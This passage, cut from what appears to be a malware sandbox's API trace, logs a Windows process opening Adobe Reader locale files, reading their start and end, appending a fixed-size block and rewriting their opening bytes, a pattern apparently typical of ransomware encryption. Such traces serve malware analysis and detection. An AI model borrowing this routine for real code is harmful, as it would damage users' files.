lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.318] WriteFile (in: hFile=0x1a8, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.318] CloseHandle (hObject=0x1a8) returned 1 [0041.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Search.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\search.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.318] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5600 [0041.319] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.319] ReleaseMutex (hMutex=0x128) returned 1 [0041.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.TUR", lpUsedDefaultChar=0x0) returned 10 [0041.319] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.332] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4600 [0041.332] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.332] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4600 [0041.333] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.333] WriteFile (in: hFile=0x1a8, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.333] CloseHandle (hObject=0x1a8) returned 1 [0041.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7aa00 [0041.333] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.334] ReleaseMutex (hMutex=0x128) returned 1 [0041.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.UKR", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.UKR", lpUsedDefaultChar=0x0) returned 10 [0041.334] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.349] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x79a00 [0041.349] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.366] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x79a00 [0041.366] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.366] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.366] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.366] CloseHandle (hObject=0x1a8) returned 1 [0041.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PDDom.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\pddom.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.367] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.367] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2e00 [0041.367] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.367] ReleaseMutex (hMutex=0x128) returned 1 [0041.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.UKR", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.UKR", lpUsedDefaultChar=0x0) returned 9 [0041.367] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.392] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0041.392] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.392] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0041.392] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.393] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.393] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.393] CloseHandle (hObject=0x1a8) returned 1 [0041.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Spelling.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\spelling.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.394] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.394] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2800 [0041.394] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.394] ReleaseMutex (hMutex=0x128) returned 1 [0041.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.UKR", lpUsedDefaultChar=0x0) returned 12 [0041.394] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.408] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0041.408] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.408] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0041.408] WriteFile (in: hFile=0x1a8, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.408] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.408] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.408] CloseHandle (hObject=0x1a8) returned 1 [0041.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DVA.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\dva.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.409] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.409] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2e00 [0041.409] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.409] ReleaseMutex (hMutex=0x128) returned 1 [0041.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHS", lpUsedDefaultChar=0x0) returned 7 [0041.409] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.419] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0041.420] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.420] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0041.420] WriteFile (in: hFile=0x1a8, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.420] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.420] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.420] CloseHandle (hObject=0x1a8) returned 1 [0041.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\reflow.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\reflow.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.421] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.421] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1000 [0041.421] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.421] ReleaseMutex (hMutex=0x128) returned 1 [0041.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHS", lpUsedDefaultChar=0x0) returned 10 [0041.421] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f2bc*=0x1000, lpOverlapped=0x0) returned 1 [0041.434] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0041.434] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f2d0*=0x1588, lpOverlapped=0x0) returned 1 [0041.435] CloseHandle (hObject=0x1a8) returned 1 [0041.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Acroform.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\acroform.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.435] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.435] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3ce00 [0041.435] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.436] ReleaseMutex (hMutex=0x128) returned 1 [0041.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHT", lpUsedDefaultChar=0x0) returned 12 [0041.436] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.631] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3be00 [0041.631] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.664] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3be00 [0041.664] WriteFile (in: hFile=0x1a8, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.664] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0041.665] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.665] CloseHandle (hObject=0x1a8) returned 1 [0041.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\makeaccessible.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\makeaccessible.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0041.666] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.666] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9400 [0041.666] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0041.666] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.666] ReleaseMutex (hMutex=0x128) returned 1 [0041.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.666] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x1e7894c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHT", lpUsedDefaultChar=0x0) returned 18 [0041.666] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.670] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8400 [0041.670] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.672] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8400 [0041.673] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.673] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, 